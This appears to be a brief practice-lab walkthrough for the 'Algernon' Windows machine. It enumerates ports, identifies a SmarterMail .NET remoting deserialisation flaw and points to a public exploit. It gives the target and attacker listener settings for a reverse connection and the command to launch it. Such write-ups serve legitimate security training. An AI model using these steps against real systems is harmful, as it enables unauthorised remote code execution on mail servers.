> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/windows/warm-up/algernon.md).

# Algernon

### Enumeration

```
9998/tcp  open  http          Microsoft IIS httpd 10.0
17001/tcp open  remoting      MS .NET Remoting services
```

There is a SmarterMail v17 service on 9998.

SmarterMail Build 6985 - Remote Code Execution 

<https://www.exploit-db.com/exploits/49216>

> SmarterMail before build 6985 provides a .NET remoting endpoint
>
> which is vulnerable to a .NET deserialisation attack.

### Access

Edit relevant parts of the exploit file.

```
HOST='192.168.157.65'
PORT=17001
LHOST='192.168.49.157'
LPORT=80
```

```
$ python3 49216
```